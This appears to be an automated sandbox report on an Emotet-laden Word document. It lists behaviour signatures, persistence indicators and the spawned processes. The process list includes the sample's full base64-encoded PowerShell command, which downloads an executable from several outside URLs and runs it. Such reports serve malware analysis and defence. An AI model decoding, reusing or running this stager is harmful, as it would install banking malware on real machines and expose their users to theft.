Overview

overview

10

task1

 

10

task2

 

5

Analysis

  • max time kernel
    61s
  • max time network
    64s
  • resource
    win7

Sharing

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General

  • Target

    Docs_34df7390e3fba4cc8b8de327c79c3741.4

  • Sample

    191010-8a3wdywzfj

  • SHA256

    51de13d18a23740342f1c681de4cb6c2baf116f2a4df4730c5338439d05823e4

Score
N/A

Malware Config

Signatures

  • Suspicious behavior: AddClipboardFormatListener
  • Suspicious use of SetWindowsHookEx
  • Drops Office document 4 IoCs
    dropperexploitermaldoc
  • Drops file in system dir 5 IoCs
  • Modifies registry class 1 TTPs 280 IoCs
    persistence
  • Suspicious use of FindShellTrayWindow
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses
  • Uses Task Scheduler COM API 1 TTPs 12 IoCs
    persistence
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Emotet Sync 1 IoCs
    trojanbanker
  • Suspicious behavior: EmotetMutantsSpam
  • emotet family
    family

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_34df7390e3fba4cc8b8de327c79c3741.4.doc"
    1⤵
    • Drops Office document
    • Drops file in system dir
    • Modifies registry class
    PID:1976
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABjADcAOABjADIAOQA3ADcAYwB4ADMAMAA9ACcAeAA4ADIAMAAwADQANAA1ADQANwAxADEANwAnADsAJABjADkAOQAwAGMAOQAwADkAMgA1ADkANwAgAD0AIAAnADMAMgAwACcAOwAkAGMANgA1ADEAOQA5ADQANQA0ADAAMAA9ACcAYwA2ADIANQBjADkANwBjADAAMABjAGIAJwA7ACQAeAA3ADgAYwB4ADkANQAyAGIAOAA4AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABjADkAOQAwAGMAOQAwADkAMgA1ADkANwArACcALgBlAHgAZQAnADsAJAB4ADAAeABjADIAMAB4AGIAMAAzAHgAPQAnAHgAMAA1AHgANAAxADAAOQBiADAAOQAnADsAJABjADEAMwA0ADUANAB4ADgAYwB4AHgANAAzAD0ALgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAEUAVAAuAHcARQBiAGMAbABpAEUATgB0ADsAJABiADAAMABjADYAYwAxADgANwA5ADkANgA9ACcAaAB0AHQAcAA6AC8ALwBlAHIAYQBrAG8AbgBsAGEAdwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAFEAaQBtAGEAeQBKAHUATQBZAC8AQABoAHQAdABwADoALwAvAGMAYQByAGUAZQByAHAAbAB1AHMAcwBhAHQAbgBhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBZAG4ASwBjAGMAbgBoAFoASwAvAEAAaAB0AHQAcAA6AC8ALwByAGEAbQBlAHMAaAB6AGEAdwBhAHIALgBjAG8AbQAvADMAbABqAGoANgAvAHcAUQBzAHQAdgBlAE0AQQBHAG0ALwBAAGgAdAB0AHAAOgAvAC8AcABsAGEAbgBlAHQAbABhAG4AYwBlAHIALgBjAG8AbQAvAGgAOAByAGcAZQAvAGsAaQBtADYANgBfAGEAZQBxAG4AYQA4ADAALQAyADAAOAA1AC8AQABoAHQAdABwADoALwAvAHAAcgBhAGQAbwBwAHIAbwAuAHIAdQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBhAGIAcABpAFYARQBvAGYALwAnAC4AIgBzAFAAYABMAGkAdAAiACgAJwBAACcAKQA7ACQAeAAwAGMAOQAzAGIAMwA2ADQANgAzADcAPQAnAGIAOAA5ADAANABiADQAMwAyADMAMAA5ACcAOwBmAG8AcgBlAGEAYwBoACgAJAB4ADMAOQAwADcAMgAwAGIAYwBjADYAMwAwACAAaQBuACAAJABiADAAMABjADYAYwAxADgANwA5ADkANgApAHsAdAByAHkAewAkAGMAMQAzADQANQA0AHgAOABjAHgAeAA0ADMALgAiAEQAYABvAFcAbgBsAE8AYQBkAEYAYABJAGwARQAiACgAJAB4ADMAOQAwADcAMgAwAGIAYwBjADYAMwAwACwAIAAkAHgANwA4AGMAeAA5ADUAMgBiADgAOAApADsAJABiADAAMAAyADAAOAA4AGIAMABiAHgAMAA9ACcAYwAzAGIANAA5ADAANAB4ADQAeAAzADMAYwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAHgANwA4AGMAeAA5ADUAMgBiADgAOAApAC4AIgBsAGUAYABOAEcAdABIACIAIAAtAGcAZQAgADMANgAzADMAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYQBgAFIAdAAiACgAJAB4ADcAOABjAHgAOQA1ADIAYgA4ADgAKQA7ACQAYwA3ADEAMAB4ADUANgB4ADAAeAA5ADQAOQA9ACcAYgAzADgANgAwADEAMwB4AHgAeAA1ADYAMAAnADsAYgByAGUAYQBrADsAJABiADAANQBjAGIANAA5ADAAOQAzADAAYgA9ACcAeAB4ADMAOQBiADAAMAA2ADIAOAA3ADcAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAYwA3ADAANgBiADQANwAwADAANwA2AD0AJwBiADAAYwBjAGMAMAA0ADAAeABjADAAMAAxACcA
    1⤵
    • Drops file in system dir
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1280
  • C:\Windows\system32\conhost.exe
    \??\C:\Windows\system32\conhost.exe "-1005262567-1287444096183175087443968989-615150670-107780038919523734-994501506"
    1⤵
      PID:1328
    • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
      "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
      1⤵
      • Uses Task Scheduler COM API
      PID:1568
    • C:\Users\Admin\320.exe
      "C:\Users\Admin\320.exe"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:1876
    • C:\Users\Admin\320.exe
      --c73fdd8f
      1⤵
      • Drops file in system dir
      • Emotet Sync
      PID:1908
    • C:\Windows\SysWOW64\loadarouter.exe
      "C:\Windows\SysWOW64\loadarouter.exe"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:1700
    • C:\Windows\SysWOW64\loadarouter.exe
      --f7a216da
      1⤵
        PID:568

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • memory/568-8-0x0000000000400000-0x0000000000488000-memory.dmp

        Filesize

        544KB

        Download

      • memory/1908-5-0x0000000000400000-0x0000000000488000-memory.dmp

        Filesize

        544KB

        Download

      • memory/1976-0-0x0000000006280000-0x0000000006480000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1976-1-0x0000000006280000-0x0000000006480000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1976-2-0x0000000006280000-0x0000000006480000-memory.dmp

        Filesize

        2.0MB

        Download